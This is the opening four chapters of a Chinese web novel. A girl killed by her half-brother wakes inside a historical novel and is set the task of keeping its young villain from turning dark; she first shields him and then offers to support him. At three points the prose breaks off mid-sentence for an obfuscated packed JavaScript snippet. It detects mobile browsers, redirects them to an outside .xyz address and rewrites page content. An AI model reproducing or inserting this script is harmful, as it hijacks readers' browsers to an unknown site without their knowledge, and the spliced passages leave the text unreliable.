《反派是个小可怜》 1. 一 秋天是何妙观最讨厌的季节。 葳蕤繁茂的夏日远去,新的学期伊始,再后面便是灰蒙蒙的冬天。数不清的考试和面试,一层层压上来。 为准备保送面试,何妙观已经连续半个月没睡过一次好觉,再这样下去,她真的有点担心自己会猝死。 “妙观,一起去楼上吹吹风吧。” 何妙观揉揉眼睛,抬起头。 站在桌前,穿着浅蓝色校服的男生是学习委员周子叙。周子叙总是在课间来找她,有时是问题目,有时是叫她一起去帮老师批卷子。因此,班上的同学总是打趣说周子叙一定是暗恋何妙观。 周子叙长得漂亮、家境也好,整个年级有不少爱慕他的人,他们也常常来试探何妙观的态度。 但何妙观当然清楚,周子叙根本不可能喜欢她。 “你自己去吧,我还要准备面试。”何妙观摇摇头。 “妙观,你压力别太大。”少年毫不避嫌地拉过女孩细白的手臂,“我妈昨天弄到一份往年的面试题,你陪我吹吹风,我就复印一份给你,好不好?” 话都说到这个份上,何妙观轻叹一口气,跟着他一起往顶楼走。 楼顶是天台,往日一直锁着,普通学生最多只能走到铁栅栏那里。平常晚自习的时候,会有小情侣溜到这里的楼道亲昵,但此时没有其他人,只有凉凉的月光把两人的影子照在楼梯上,拖拽得很长很长。 “满足保送要求的,这一届只有我和你。”周子叙靠在铁栅栏上,漫不经心道,“姐姐,我听说,你从小学起就想去清大。” 何妙观站在低一级的台阶上,垂着眼睛,盯着黑乎乎的影子看。 周子叙是她的弟弟,同父异母的弟弟。 何妙观十一岁那年,妈妈发现爸爸出轨。 一同发现的,还有这个仅仅小何妙观一岁的私生子。 那个夜晚,妈妈没说一句话,沉默地收拾行李,第二日清晨便独自离开了家。半年后,两人离婚,爸爸把周子叙接到家里,连带着那个年轻、优雅、满身玉兰香水味的女人。 相较于她,爸爸很明显更偏爱这个弟弟,因为周子叙漂亮、嘴甜、性格讨喜。 每次看到他们三个人其乐融融地在沙发上看电影时,何妙观总是很想念妈妈。 虽然妈妈头也不回地抛弃她出国定居,甚至经常半年一个电话都不打,但何妙观很难恨她。妈妈还在家的时候,从未亏待过她。 至于爸爸…… 何妙观对他的情绪更是复杂。 小时候旅游时,都是爸爸把她背在肩上。爸爸总是说,我们家妙观,以后要一直站在高高的地方。可一想起周子叙只比自己小一岁,何妙观就觉得浑身难受。 重组家庭后,爸爸虽然每个月都会给她转一笔数目不小的钱,但从不会当着周子叙和继母的面和她亲近,更不会在继母对她冷嘲热讽时站出来说一句话。 “是啊,我妈妈以前就在那里读书。”何妙观迎着少年的目光,很直白地回道。 周子叙轻轻地点头,目不转睛地看着少女颤抖的眼睫,温声道:“可是,每年的保送名额只有一个欸。” “所以呢?” 虽然周子叙成绩也很优秀,但何妙观还是觉得自己厉害一点。 “别这样看着我嘛……姐姐,你应该听过那些传言,说我喜欢你吧?” 秋风从铁栅栏的缝隙涌进来,把校服的裙摆吹得飘扬,何妙观感到大腿上传来一阵细痒。 “你要是不想听他们乱说,以后少来找我。”何妙观皱起眉,“我也不想听到那些话。” “哈哈……是么?可你紧张什么?”少年往下走一个台阶,用指尖轻轻抬起妙观尖尖的、白皙的下巴。 轻浮的动作带着羞辱,何妙观不喜欢,抬起手想要推开他,但因为力气太小,一点也推不动,反倒被他反手攥住手腕。 何妙观瞪大眼睛。 “你要做什么?” 在清冷的月光下,他黑色的眼眸很透很透,像是玻璃珠一样,有一种非人的阴森感。 “有没有可能,我是真的喜欢姐姐。只是姐姐不愿意相信呢?” 何妙观愣愣地看着他。 “周子叙,你在发什么疯?” “没有发疯。如果姐姐愿意和我交往,我就退出保送,把名额让给你。其实妈妈不希望我留在国内读书。参加保送,也只是因为爸爸喜欢清大而已。” “周子叙!”何妙观蹙起眉,“你到底在说什么?你不怕我告诉他们吗?” 少年笑起来,被长睫毛包着的眼睛一眨一眨的。 “姐姐真的要这样吗?他们会相信你的话吗?他们恐怕会觉得是你在污蔑我吧?” 奇怪的、不安的感觉涌上来。何妙观感到一种微妙的紧张,以及少年快要溢出来的恶意。 她想要离开这里,回到教室里去,用力挣扎着。 “你放开我!放开!” “好吧——” 周子叙撇撇嘴。 突然的失重感让何妙观来不及反应,只能下意识地伸手想要拽住些什么。可站在楼梯中心,周遭没有可支撑的地方,只能看着少年的脸越来越远。 轻蔑的眼神,嘲讽的微笑,以及轻飘飘的挖苦。 “姐姐不会以为我是认真的吧?” “真可怜……” “我会在你的葬礼上好好哭一场的。” 后背磕到台阶后传来一阵锐利的疼痛,接着视野开始旋转,像是被装进滚筒一样,灰水泥墙壁、橙黄的感应灯、花花绿绿的瓷砖都开始扭曲成漩涡。因为疼痛的地方的太多,已经没有办法分辨具体伤在哪里,只有头晕和恶心的感觉,令人想要呕吐。 砰。 后脑勺传来尖锐的剧痛,身体终于停下来。 头发变得黏糊糊的,眼前也开始泛红,何妙观听到女孩们的尖叫声和越来越近的、凌乱的脚步声。 “同学,同学!” “快去叫医务室的人!” “同学,坚持住,坚持住……” 意识越来越模糊,视野越来越暗,像是被什么拽着似的,身体不断下坠,下坠。 何妙观闭上眼睛,感受着力气的流失。 濒死的感觉原来是这样。 好奇怪。竟然没有太过伤心。只是在懊悔自己的掉以轻心,被最讨厌的人杀掉。 唯一的遗憾,或许就是没有再见一面妈妈。 下一刻,一个冰冷的女声响起来。 【欢迎宿主。】 【请宿主根据指引,在截止日期前内完成任务。】 宿主。截止日期。指引。任务。 什,什么? 何妙观的大脑宕机,一时听不明白。 慢慢地,黑暗渐渐消散,刺骨的疼痛感也消失殆尽。温柔的光线落在眼皮上。 何妙观睁开眼,映入眼帘的是两张清秀、稚嫩的脸。 “小姐?小姐!你终于醒啦!”左边的少女哭哭啼啼的。 “嘘,阿葵,你小点声,别吓到小姐。”右边的少女说。 何妙观有些茫然,呆呆地打量起四周。此时大概是正午,阳光充足,房间里很亮堂,不远处摆着一张柏木桌案,案上是巴掌大小的脱胎漆佛。看来她是在某个寺庙里。 【宿主,您如今所在的世界,是一本名叫《冠缨录》的小说。】女声又响起来。 《冠缨录》…… 何妙观记得,这是半年前流行的古言小说,讲的是男主杜鹤安,苦心经营斗倒大反派燕之郁的故事。 杜鹤安出自名门京兆杜氏,家境优渥,和名门贵女楚箬兰是青梅竹马。原本他应当顺遂地度过一生,却因为一场意外,双亲离世。经此变故后,杜鹤安被楚箬兰的父亲收为义子,怀着一腔热忱想要辅佐明君,却因为佞臣燕之郁不得伸展抱负,亲朋好友死的死、散的散。 最终,杜鹤安忍辱负重,辅佐新帝登基,并将佞臣燕之郁施以极刑,成为新帝的重臣。 何妙观不是很喜欢《冠缨录》。因为里面有个炮灰女配,和她同名同姓,死得还很凄惨。 炮灰女配“何妙观”是扬州刺史之女,十六岁时,对被贬到扬州的杜鹤安一见钟情,不惜为他一人来到长安,甚至以身犯险、试图刺杀反派。只可惜计谋被反派识破,红颜薄命,死时不过十七岁。 何妙观看到同名女孩临死前,心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345052|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍然思念被温香软玉簇拥着的男主,感觉很难过。 【宿主,您的任务是阻止反派燕之郁黑化。】 【避免他对男主使用“钉骨刑”。】 钉骨刑便是燕之郁发明的酷刑,通过将生锈的铁钉钉在胫骨和脚踝上,给人造成巨大的痛苦。因为受过钉骨刑,杜鹤安在大结局时,身体依旧会时不时隐痛,最后死时也就四十来岁。 “失败会怎么样?”何妙观问。 【倘若成功,宿主能回到原本的世界;倘若失败,宿主会在原世界彻底死亡。】 “哦……” 何妙观心无波澜,因为原本的生活没有太多令人留恋的地方,其实能不能回去都无所谓。 【宿主,您不想再见到您的家人么?】 不是很想。他们并不喜欢我。 【档案库显示,宿主是因受人谋害才来到这里,难道宿主就不想复仇么?】 何妙观没有马上回应,眉头微微皱起来。虽然生活很压抑也很痛苦,但是被周子叙谋杀,还是有点不甘心。 可是……即使回去也做不了什么吧? 那个楼道是监控死角,没有人会相信“温柔人缘好”的周子叙会做出那样的事。 【宿主有什么愿望,可以提出来。】 何妙观终于抬起头:“我想再见一见我的妈妈。” 何妙观已经六年没有见过妈妈,甚至不知道妈妈定居在哪个国家、哪座城市。电话里问起时,妈妈永远是一套说辞:“抱歉啊宝贝,妈妈还没有做好准备见你。” 难道妈妈一点都不想念她吗? 何妙观很想问个明白。 【这个简单!如果宿主顺利达成任务,本系统还可以让她回到宿主身边哦!】 == “小姐,呜呜呜,小姐,你说句话呀!”少女带着哭腔的嗓音把何妙观拉回现实。 “我、本小姐没事。”何妙观挤出一个微笑,努力地模仿起原主的说话习惯。 “那就好……”少女抹掉眼泪,“刚刚小姐走着走着忽然晕倒,吓奴婢一大跳!” “嗯,阿葵刚刚一直在哭。”年长些的婢女无奈地叹气。 何妙观努力回想二人的名字,可怎么也想不起来。毕竟是配角的配角,全书最多只出现过两三回。 【若是想得知人物的背景故事,宿主可以注视他们的眼睛。】系统的声音响起来。 何妙观跟着指引,果然,后脑勺传来一阵刺痛,一串密集的信息涌入脑海。 【姓名:阿葵。】 【简介:何家侍女,时年十六岁,负责何妙观的起居琐事。】 【故事一·童稚:阿葵,永昌四年生人,真名冯葵。父为扬州城建宁村肉铺老板冯通,母早逝,家中有一长姐冯菁。永昌十三年,冯氏夫妇因山匪离世,冯葵同长姐入城乞讨,为何老夫人怜悯,收入何府为婢女。】 …… 【故事十·红粉:暂不明。】 按着同样的方法,何妙观得知另一位婢女便是阿葵的姐姐,冯菁,今年十八岁。 但奇怪的是,两人的最后两条传记都不可查阅。 【宿主,人物传记需要达到对应的好感值才能解锁。】系统解释道,【阿菁、阿葵对宿主的好感度都是八十,因此最后两条不可以解锁。】 听上去和攻略游戏很像。 “现在的反派的黑化值和好感度是多少?” 这是何妙观最关心的。 【抱歉,这些都需要宿主自己探索。】 何妙观轻叹一声,回想起原书的剧情。 既然原主还在扬州,那么至多进展到第一卷“入毂”。此时,杜鹤安和燕之郁都在长安,两人还没碰过面。杜鹤安因为讽谏圣上被贬到扬州,担任御史一职,因此才能和原主相见。 可是,要阻止反派黑化,至少得见到反派他人吧? 长安、扬州两地相隔千里,单独去长安找一个没见过面的男人,实在希望渺茫。 何妙观咬着嘴唇,很是烦恼。 【宿主不必为这种小事苦恼。】系统的声音恰倒好处地响起来,【从寺庙出去,往东走四百步,宿主要见的人便在那里等您。】 2. 二 “往东走四百步?” “小姐,你当真要去那?” 阿葵瞪大眼睛,不敢信自己的耳朵。 往东走四百步是江都县的乱葬岗,自家小姐素来嫌恶这种地方,怎么会有这样的提议。 何妙观点点头。 烈日当空,阳光如注,即便有阿葵拿着团扇扇风,她的额角还是沁出汗珠,被汗水洇透的罗衫湿嗒嗒地黏上来。 “小姐且忍忍,过那道桥,再过一个田埂便是。”阿葵轻声道。 何妙观越走越觉得不对劲。周遭人烟稀少,路边的宅院看上去破落异常,不像有人住的模样。虽然是青天白日,但还是令人感到没由来的心慌。 难不成这反派……住在乱葬岗? 他还是活人吗?《冠缨录》好像也不是什么志怪灵异小说吧? 走着走着,阿菁忽然停下脚步时,低声道:“小姐,我们绕路吧。” 何妙观抬眼看去。不远处的道路旁,站着五六个装扮粗犷的大汉。大汉们乌泱泱地围在供歇脚的木棚底下,时不时哄笑着,不知在谈论些什么。 “地痞流氓聚在一起准没好事。”阿葵叹着气,“前些日子大郎才刚教训过他们,现在才多久,一个个又不安分起来,真是欠打!” 阿葵口中的“大郎”,是原主的大兄何怀初,现任扬州折冲府都尉。 原书里,兄妹两人的关系并不好。何怀初一直很嫌弃他这个妹妹喜好男色,一天到晚花天酒地,毫无大家闺秀的样子。 何妙观刚想开口说“好”,系统的声音便冒出来。 【宿主,反派就在前面等着您。】 难道说,这些中年大汉里,有一个是反派燕之郁? 并且、他现在、正在等我? 何妙观不愿意相信自己的耳朵,也不愿意相信自己的眼睛。 虽说《冠缨录》对燕之郁的容貌着墨不多,但只言片语还是透露出他不输于杜鹤安,是个在青年才俊如云的长安城,也能掷果盈车、满楼红袖招的少年。 【请宿主做出正确的选择,阻止反派黑化。】系统又一次提醒。 “本小姐、本小姐还是想去前面看看……”何妙观深吸一口气,“光天化日下,他们应该不敢动手。” 一步一步,大汉们的笑声愈来愈响,何妙观也越来越紧张。她性格内敛,不喜欢社交,在学校都很少和周子叙以外的男生打交道,更别提和中年男人说话。 “这可是何家的大小姐?”穿着蓝汗褂的男子轻佻地问道,“大小姐怎么有兴趣来这里?” “关你毛事,我们小姐闲着无事便来逛逛。”阿葵双手交叉在胸前,毫不露怯道。 何妙观干笑一声,抬睫扫过一张张面孔。除却左边这位约莫三十的男人可以算得上端正俊逸外,其余的各有各的歪瓜裂枣。 可是何妙观记得,反派的设定是“少年权臣”。 所谓少年,十八岁以下才能用。 这男人也不像十八岁啊? 除非,作者发自心底地认为,“男人至死是少年”。 何妙观有点怨恨作者。 但事已至此,她只好深吸一口气,艰难异常地开口道:“请问您贵姓?” 男人道:“在下姓燕,家中排名第五,大小姐叫在下‘燕五’便是。” 原来真是燕之郁啊…… 最后一点期望破灭,何妙观感到眼前一黑,全凭“一定要完成任务”的意志继续搭话:“燕五,你们在这里做什么?” 燕五努努嘴,目光看向远处:“刘老三觉得那个小郎君容色好,说什么‘等他过来,半炷香就能得手’,在下正就此打赌。”说着,指指摆在地上的铜钱,“在下押的是不中。大小姐不若也来试试?” 其他大汉起哄般地笑起来。 被称作“刘老三”的大汉道:“大小姐,俺虽然长得粗鄙,但对那些傅粉郎,却有一套百试不爽办法,嘿嘿……” 不远处,少年跪在坟冢前,背脊挺得笔直。点燃后的线香化作青烟,袅袅上升,最终变作一缕缕游魂般的白雾,缠绕在他周身。 少年将随身携带的一盅酒慢慢浇在坟头。 明明是青天白日,但他的一举一动很是诡异,如同话本中的鬼魅。 刘老三又开始说些促狭话,言辞鄙俗下流,何妙观实在听不下去,眉头紧紧地蹙起来:“你们到底要对他做什么?” 燕五促狭一笑,道:“大小姐年纪还小,在下不便说得太清楚。不过,大小姐可曾看过《龙阳逸史》这部书?” 何妙观没看过《龙阳逸史》,但却知道“龙阳之好”是什么意思,面色泛红。 大汉们哄笑起来,饶有兴趣地看着何妙观的表情。 “你们、你们怎敢在小姐面前如此轻浮!”阿葵气道,“等我回去,一定告诉大郎,有你们好果子——” 话音未落,那少年已然走近。 周遭安静下来。 何妙观看向他,有一瞬怔愣。少年穿着寻常人家流行的苎麻衫,乌发松松挽着。如珠玉般太过夺目的面容,就像锋利苍白的刀刃一样,让人有些喘不过气。 他不过十七八岁,容貌阴柔而秀美,鼻梁高挺,唇色浅淡,微微上挑的眼角边缀着两粒小痣,仿若含情。橙红色的残阳穿透薄瓷般的肌肤,映出底下淡青的血管。 经过他们身边时,少年黑水银般的眼睛从他们身上淡淡扫过,很快看向前方,似乎没听见刚才粗鄙的喧闹。 “刘老三,傻愣着做什么?”等少年走远,大汉们才又吵闹起来,“快去呀!” 刘老三舔舔唇,跟上去,拽住少年的衣角。少年侧过头,淡淡道:“有什么事么?” “小郎君,大热天的穿这么严实,要不、要不俺帮你松松领口?” 少年没有回答,抬睫打量着男子,又慢慢把目光移到何妙观脸上。 等一下。 【姓名:燕之郁。】 【简介:燕之郁,字雪臣,北梁权臣,官至尚书左仆射兼枢密使,封北瑞王。景和年间与少帝李循发动“景和新政”,整顿朝纲,因推行酷政遭反噬,卒年二十岁。】 原来他才是反派?! 何妙观恍然大悟。 难怪刚才怎么盯着燕五的眼睛看,都没弹出和阿葵、阿菁一样的人物介绍,还以为是系统有什么故障呢! 但何妙观很快便笑不出来。 【故事一·失恃:暂不明。 【故事二·匪灾:暂不明。 【故事三·堀室:暂不明。 【故事四·钉骨:暂不明。 …… 这人物故事的篇名,简直一个更比一个吓人…… 果然是大反派。 “小郎君,该怎么称呼呀?”刘老三笑嘻嘻地问。 少年还是不答,浓黑的眼睛打量着眼前的人。冷若冰霜的姿态,反倒使刘老三愈加有兴致,开始动手动脚:“小郎君,要不要和俺去前面的酒肆坐坐?那里的高粱酿,最是可口,一斗才三十钱,俺可以请你喝到晚上,然后——”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345053|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “滚吧。”少年懒得听下去,甩开他。 刘老三被冷落得下不来台,伸手便往少年的手腕拽去。 “你大爷的,给你脸不要脸是吧?” 【请宿主做出正确的选择,阻止反派黑化。】 何妙观咬咬唇,冲上去抬起腿,往刘老三的裆下踹去。 刚上小学的时候,妈妈买过一本《女子防身术》。 小小的何妙观每次翻开都只读完第一章,就是“踹裆”,后面的什么锁喉、戳眼睛、过肩摔,因为需要一定的格斗基础和力气,她怎么也学不好。 刘老三惊呼一声,转过身,嗷嗷呜呜不知在叫些什么,何妙观以为他恼羞成怒要对自己下手,又惊又怕地补上第二脚。 刘老三彻底躺在地上痛不欲生,捂着裆滚来滚去。 围观的大汉们蜂拥而上,将刘老三扶到一边。 燕五喃喃道:“该不会给大小姐踹没用吧?” 另一人道:“若是真没用,刘老三后半生的乐趣可没咯!哎哟,听起来怪可怜的。” 刘老三断断续续道:“大、大小姐,你下手咋恁狠……你家大郎,都不踹裆的啊……君子打人、不、不踹裆……啊啊啊啊呀,痛死俺嘞……你们笑什么、快、快去弄点药,痛死俺嘞……” 小腿开始发麻,裙摆也变得皱皱的。何妙观这才意识到自己用了那么大的劲。 活该。 “踹坏就踹坏呗,像他这种人,割掉那玩意才能安分。”阿葵小声嘀咕起来,“不过小姐,这种事情以后还是让奴婢来做……哎,小姐?” 混乱中,少年头也不回地继续往前走,仿佛方才的事情和他完全无关。 何妙观轻叹一声,跟上去。 “燕郎君,等等。” 少年闻言,停下脚步。 “燕郎君,你、你就不说什么?”何妙观站到他面前,看着他的脸,很快又把目光移开来。 “嗯?某该说什么?”他弯弯唇,竟是一笑。 何妙观觉得他和大明星一样好看,身上还带着一股淡淡的香味,一时有点慌张,磕磕绊绊地说出一句:“燕郎君,我刚刚,是在帮你吧?” 少年的眼底笑波荡漾。 虽然方才的确算路见不平拔刀助,但这样上赶着领赏的大家闺秀,倒也少见。 更何况,最有趣的,是她对他的称呼。 “燕郎君”。 “多亏何小姐相助,郁感激不尽。”少年屈身行礼,声音清泠泠的,如雨入山涧,带着些疏离。 “不客气。”何妙观脸红起来,想到原主的性格,又僵硬地摆摆手,装出很随性的样子,“以后在扬州,燕郎君有本小姐罩着,肯定不会再受欺辱。” “好。”他又施以一礼。施完后,没有其他动作,静静地站着,看着何妙观。 怎么这反派看上去呆呆的? 何妙观心中纳闷,目光落在他的穿着上。 泛白的苎麻短褐,浅灰色束腰纱带,以及一双朴素的蒲草鞋……绝不是什么祸国殃民的佞臣该有的打扮,更像是尚未发迹的普通人。 难不成,现在的燕之郁还没有入朝为官? 倘若这样,阻止他黑化的任务,好像也没想象中那般可怖。 何妙观的心情好起来,紧绷许久的脸上浮出笑意。 “燕郎君接下来要去哪?” “回家。”燕之郁说着,看向远处寂寂的山林,“郁身无长物,想做顿饭以报小姐之恩。何小姐,能赏脸来么?” 3. 三 山路崎岖,燕之郁走在最前面,阿菁、阿葵一人各拉着何妙观的一只手走在后头。 一路上,燕之郁很少开口,只会在曲折处停下等待时说上一两句感谢的客套话。 两刻钟后,一座破庙映入何妙观的眼中。 正殿前的石阶早已碎裂,半扇褪漆的山门斜吊在朽柱上,在风中发出“嘎吱嘎吱”的响声。门楣上原该题匾的地方,只剩下两根生锈的铁钉。 “这不是人能住的地方吧。”阿葵小声嘀咕道。 燕之郁闻言淡淡一笑,抬手推开庙门。 灰尘纷纷扬扬地落下来。 正殿里摆着一尊佛像,没有头颅,只剩下一截泥塑的脖颈。供桌上灰尘堆积,他们走进去的时候,一只绿眼野猫“嗖”地从桌底窜出来,越过墙角发霉的蒲团,消失在窗外。 何妙观被吓一大跳,回过神时,诧异道:“燕郎君……平日便住这?” 这样的环境寒碜又阴森,若是在这里住上一年半载,心理很难不出问题。得赶快想办法给他换个生活环境。 “让何小姐见笑。”燕之郁点点头,看向窗外。 院中的古柏上有两团黑影。 “那、那你在哪做饭呀?”何妙观又问。 燕之郁微微一愣:“什么?” “燕郎君方才说,要请我们吃饭……”何妙观小声道。 燕之郁的目光轻轻扫过少女的脸庞。 他如今这副打扮,除却心腹,旁人绝无可能认出来。更何况,“燕之郁”这个名字,他亦很久没用过。然而这个何家小姐,却在第一眼见到他时,便叫他“燕郎君”。 一定是政敌派来刺探消息的细作。 既是细作,那便先审后杀。这个寺庙除却偶尔歇脚的货郎,平日里不会有人停留,是很好理尸地。 见他不答,只是用一双含情的眼眸静静地望着自己,何妙观有些不知所措:“燕郎君?” “郁不喜绕圈子,何小姐有什么话,不妨直说。”燕之郁道。 “本小姐也不喜欢绕圈子。”何妙观鼓起勇气,继续学着原主的腔调。 燕之郁挑起眉,静待答案。 “你是不是家里没米,不好意思说出来?”何妙观把疑问说出口。 “对呀,奴婢刚刚逛到庖厨,米缸里什么也没有!”阿葵附和道。 实在是意料之外的问题。 燕之郁抿抿唇,不知该如何作答。 “既然这样,燕郎君可以和本小姐去外面吃一顿。” “何小姐没有其他的话?”燕之郁不死心。 “燕郎君喜欢吃什么?”何妙观继续道。 “……” 这人到底在装什么啊?是想刺杀自己,还是想笼络自己,就不能直接点么,反倒在这说什么米不米、饭不饭的。难不成“米”“饭”是什么新型的暗号? 米珠薪桂、陈米测忠、米囊藏诏…… 燕之郁努力思考着近年来流行过的暗号,却想不出所以然,思绪混乱。 但愈是心烦意乱,便愈是想理出个前因后果。 少年换上茫然无害的表情,温声道:“郁什么都喜欢。劳烦何小姐。” == 金齑玉鲙、通花软牛肠、曼陀样夹饼、清凉臛碎、光明虾炙…… 文邹邹的名字让何妙观根本看不懂这些菜指什么,于是把食单递过去:“燕郎君喜欢哪些?” 燕之郁盯着食单,片刻后也垂下眼,似乎有些局促:“郁从没见过这些,亦不知哪些可口,还是何小姐选吧。” 何妙观猛然回过神。燕之郁穷得连米都买不起,逼他点菜不就是让他难堪么? 虽然自己也不知道该吃些什么,但作为何家小姐,肯定是不能露怯的。何妙观硬着头皮对堂倌道:“金齑玉鲙、通花软牛肠、清凉臛碎、光明虾炙、辋川小样、鸭花汤饼……都来一份。” 堂倌退下后,雅间安静下来,只能听见远处屏风后传来的琵琶声,淅淅沥沥,如同雨水砸在青瓦上。 何妙观打量着周围,目光落在鎏金错银的莲花灯上。这些物事,从前只在博物馆里见过,如今能亲手触摸,简直和幻觉一样。 何妙观的爸爸妈妈在清大时都读的是文博系,小时候的她,经常被带到各省会的博物馆参观。妈妈温声细语地给她介绍每一件物品的由来和故事,爸爸在一边慈爱地看着她,说等妙观长大一些,就带她去全球各地的博物馆看。 可一想到爸爸那时早就出轨,何妙观的心情低落,呆呆地盯着灰白色的窗户纸看。 “何小姐?” 少年温柔地喊她。 何妙观回过神。 第一道菜不知何时已经呈上来。薄切的鲈鱼,配着蒜泥、橙丝、金橘酱,盛在冰凿的莲花盏中。 “吃吧。”何妙观的肚子开始叫。 坐在对面的少年并未动筷,安静地注视着她。许是路中碰到什么东西,原本挽在脑后的乌发垂落下两缕,蜿蜒在他白皙的颈间,像细细的黑蛇。摇晃昏沉的烛火映在他鲜丽苍白的脸上,切割出阴暗,有若食人精气的艳鬼。 “何小姐不饿么?”燕之郁微微倾过身,端详着她。 何妙观害怕和长得特别好看的人单独相处。 难以呼吸的、心脏砰砰乱跳的感觉漫上来,大脑也变得混沌不堪。 “何小姐是不是不舒服?”燕之郁站起身,似乎想要靠近些。 “没事、我没事。”何妙观连忙拿起筷子,低头开始夹鱼块。 不要过来。 但下一刻,伴随着月光一起流泻进来的,是清凉柔软的夜风。 何妙观微微一愣,抬起头。窗外是黑漆漆的夜,空中镶嵌着一轮圆圆的朗月。 少年从窗边回来,重新坐下,笑道:“何小姐面色泛红,郁猜想是屋里太闷。” 何妙观顺着台阶下,连忙道:“对,这房间的熏香真浓,不知道是什么香……” 是帐中香。 燕之郁很熟悉这种味道。 扬州的官员们最喜欢点帐中香。它以沉香、檀香、荔枝壳、茉莉等配制而成,燃烧时隔着云母片,香气便如美人呵气般徐徐而出。 “郁此前没闻过,也不清楚。”他摇摇头,鬓边的发丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345054|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻晃动,“不过何小姐竟然会不喜欢?郁觉得,还挺好闻的。” 少年说话时,喜欢专注地凝着对方的眼眸。 何妙观被盯得不好意思,支吾道:“也没有不喜欢……燕郎君,你还不饿么?” “不是很饿,况且尊卑有别,何小姐尽管吃罢。” 何妙观当他不好意思,取过一双新筷,将桌上的菜各夹一口放在瓷碗里,推至他面前。 燕之郁还是不动筷,抬眸注视着眼前人,乌黑的睫羽伴随着呼吸轻轻颤动。他为人谨慎,不吃他人经手的饭菜,今日自然不会破例。 “郁此前说过,不喜拐弯抹角。”两息之后,燕之郁缓缓开口,“何小姐让郁来这里,其实并不只是想用膳。” 被看穿心思,何妙观只好坦白:“我的确有别的事情想说。” 燕之郁听闻,眼尾上扬,柔柔一笑:“郁正是因为看出小姐的意图,才愿意来。何小姐出身金贵,在荒山野岭谈那种事情,确实不妥。” 何妙观有些疑惑:“你是如何看出来的?” “因为郁看见何小姐的第一眼,就能察觉到何小姐是和旁人不同的存在。” 何妙观面红更甚,努力装出镇定的样子:“所以、所以你能不能答应我?” “何小姐先说条件。”燕之郁温和道。 若是条件尚可,燕之郁也愿意试着和此女背后的势力合作。能查出自己的身份,应当不是什么无能鼠辈。 “燕郎君,每月开销不要超过十两,好不好?”何妙观斟酌道。 “十两?”少年的秀眉却蹙起来。 不论是十两白银还是十两黄金,对拉拢他来说,都太少、太少,少得近乎像是在羞辱。 事已至此,他也懒得再费口舌,站起身,向窗边走去。 窗外,柳树上的两团黑影因为他的动作,躁动不安起来。 “等一下。”何妙观咬咬牙,跟着他走至窗边,“十五两呢?我、我每月的零钱也就十五两。” 看《冠缨录》时,何妙观曾算过北梁国一两银子的购买力。 一两银,足足等于现代社会的两千元。 原主因为备受何老夫人的宠溺,每月的零用钱比七八品的官吏还多,又不需要担心衣食住行,所以甚至还用闲钱养过南风馆的伶人。正是因为原主的这段过去,何妙观才想到可以让燕之郁直接住进何家的。 另一边,少年的指尖已抚上窗台,只需再轻叩两声,暗卫便会用弓弩解决这烦人的细作。但他身子一滞,侧过脸。 他们刚刚,好像不是在说同一件事。 这个何小姐,似乎是…… 想要养他。 在扬州,富贵人家收留家境清贫的年轻郎君的风俗很普遍。他也听过这位何小姐过去的事迹。 可是,何小姐明明知道他的真实身份,怎么还说这种奇怪的话? 见他不答,何妙观又小心翼翼地开口道: “燕郎君说一个数,我晚上回去和家里人谈谈。” “倘若条件还是达不到燕郎君的预期,你不愿跟着我回何家,我是不会强求的。” 4. 四 扬州以江都县为中心,江都县又以仁丰里为繁荣富贵地。 何府便坐落在仁丰里。 何府的兽头大门前有一对汉白玉石狮子,威风凛凛的,很是唬人。但正门平日不开,只通过东西两角门出入。穿过垂花门后,两边是抄手游廊,游廊通往的堂里摆着紫檀架子的大理石屏风。再转过屏风,才是大正厅,何刺史大部分时间不在家中,平日里何老夫人便在大正厅会客谈事。 原主是扬州刺史何徵和苏州织造世家陈家陈寄柔之女,上头有两位阿兄,何家大郎何怀初、二郎何静臣。大郎娶的是陇西韩家,韩氏体弱,何怀初又惧内,不敢再纳小妾,两人至今膝下无子。二郎娶的则是范阳姜氏,膝下育有一女何宝珠,宝珠年方十五,还有一子宝灵,刚满六岁。 正厅里坐着不少人。坐在上首的中年妇人容貌端庄慈和,正是陈寄柔。见何妙观回来,陈寄柔笑眯眯地招招手。 陈寄柔四十余岁才生下原主一个女儿,对原主很是宠爱,原主的性子,有一半都是陈寄柔宠出来的。 “囡囡今日又在玩些什么?” “下午在寺庙点灯,晚上和朋友在醉仙楼吃饭。”何妙观如实答道。 “朋友?是顾家那位,还是陆家那位?”陈寄柔问。 何妙观僵硬地摇摇头:“是新认识的一位朋友。” “新交的朋友?”陈寄柔一下一下轻轻地摸着何妙观的发髻,“同阿娘说说,这是谁家的孩子?家里做什么的?” 